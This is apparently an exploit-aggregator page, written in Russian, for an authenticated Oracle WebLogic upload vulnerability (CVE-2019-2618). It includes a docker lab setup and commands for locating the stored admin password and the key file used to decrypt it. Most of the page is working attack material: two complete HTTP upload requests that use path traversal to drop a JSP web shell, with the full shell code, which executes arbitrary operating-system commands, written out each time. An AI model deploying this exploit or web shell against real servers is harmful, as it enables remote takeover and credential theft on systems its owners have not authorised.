Sploitus

Exploit for cve-2019-2618 CVE-2017-10271 CVE-2019-2618

kitploit · 2026-08-25

Exploit Code

MARKDOWN182 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JAS502N-CVE-2019-2618
# cve-2019-2618

Weblogic Upload Vuln (требуется имя пользователя и пароль) - CVE-2019-2618

## Использование python

root@kitploit:~
    
    
    python CVE-2019-2618.py url username password
    
    

![](https://assets.kitploit.com/production/public/readmes/27367/9f9c42de63dd7fe58997c2b711d83b25e2459530226fe51463175532c5f651d3.jpg) ![](https://assets.kitploit.com/production/public/readmes/27367/50327abc366fc735b8ef85499f0134420c55e895be24ede48468bf35a15e881b.jpg)

## Расшифровка пароля weblogic

root@kitploit:~
    
    
    root@f0cb7e674d7e:~/Oracle# cat /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties |grep pass
    password={AES}dv/eNBsyg5GcDUbAKaQRheDZhzVk9yiTYVpXlGt9wEU=
    root@f0cb7e674d7e:~/Oracle# find / -name "*SerializedSystemIni.dat*"
    /root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat
    root@f0cb7e674d7e:~/Oracle# 
    
    Учетные данные weblogic: weblogic/Oracle@123
    

![](https://assets.kitploit.com/production/public/readmes/27367/57fe3b5699829a190e318e7e41c5a1d78587fb90cbcd861df2930bf9805c7dc7.jpg)

## Развертывание среды с помощью docker

См. vulnhub

root@kitploit:~
    
    
    root@kali:~/vulhub/weblogic/CVE-2017-10271# ls
    1.png  docker-compose.yml  README.md  set_mirror.sh
    root@kali:~/vulhub/weblogic/CVE-2017-10271# docker-compose up -d
    

![](https://assets.kitploit.com/production/public/readmes/27367/b293f48518b2b7ec53a0e13c496aeabf8dcd2b50278cbc976ce88d0f13a44fec.jpg)

root@kitploit:~
    
    
    POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
    Host: 10.10.20.166:7001
    Connection: close
    Accept-Encoding: gzip, deflate
    Accept: */*
    User-Agent: python-requests/2.21.0
    username: weblogic
    wl_request_type: app_upload
    cache-control: no-cache
    wl_upload_application_name: /../tmp/_WL_internal/bea_wls_internal/9j4dqk/war
    serverName: Jas502n
    password: Oracle@123
    content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
    archive: true
    server_version: 10.3.6.0
    wl_upload_delta: true
    Content-Length: 1081
    
    ------WebKitFormBoundary7MA4YWxkTrZu0gW
    Content-Disposition: form-data; name="shell.jsp"; filename="shell.jsp"
    Content-Type: false
    
     <%@ page import="java.util.*,java.io.*"%>
    <%
    %>
    <HTML><BODY>
    Commands with JSP
    <FORM METHOD="GET" NAME="myform" ACTION="">
    <INPUT TYPE="text" NAME="cmd">
    <INPUT TYPE="submit" VALUE="Send">
    </FORM>
    <pre>
    <%
    if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p;
        if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
            p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
        }
        else{
            p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        }
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
        out.println(disr);
        disr = dis.readLine();
        }
    }
    %>
    </pre>
    </BODY></HTML> 
    
    ------WebKitFormBoundary7MA4YWxkTrZu0gW--
    

## Также можно загрузить в другой каталог

root@kitploit:~
    
    
    /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/bea_wls_deployment_internal.war
    /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/bea_wls_internal.war  это путь загрузки
    /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal
    /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_deployment_internal
    bea_wls_internal 
    bea_wls_deployment_internal находятся в том же каталоге
    это местоположение уязвимого war-файла
    

![](https://assets.kitploit.com/production/public/readmes/27367/d5e1efb746cf21a1396b4bb75339f3fa8771cc4ea9076edac50b7e6387339eb0.jpg)

root@kitploit:~
    
    
    POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
    Host: 10.10.20.166:7001
    Connection: close
    Accept-Encoding: gzip, deflate
    Accept: */*
    User-Agent: python-requests/2.21.0
    username: weblogic
    wl_request_type: app_upload
    cache-control: no-cache
    wl_upload_application_name: /../tmp/_WL_internal/bea_wls_deployment_internal/gyuitk/war
    serverName: Jas502n
    password: Oracle@123
    content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
    archive: true
    server_version: 10.3.6.0
    wl_upload_delta: true
    Content-Length: 1084
    
    ------WebKitFormBoundary7MA4YWxkTrZu0gW
    Content-Disposition: form-data; name="shell.jsp"; filename="shell111.jsp"
    Content-Type: false
    
     <%@ page import="java.util.*,java.io.*"%>
    <%
    %>
    <HTML><BODY>
    Commands with JSP
    <FORM METHOD="GET" NAME="myform" ACTION="">
    <INPUT TYPE="text" NAME="cmd">
    <INPUT TYPE="submit" VALUE="Send">
    </FORM>
    <pre>
    <%
    if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p;
        if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
            p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
        }
        else{
            p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        }
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
        out.println(disr);
        disr = dis.readLine();
        }
    }
    %>
    </pre>
    </BODY></HTML> 
    
    ------WebKitFormBoundary7MA4YWxkTrZu0gW--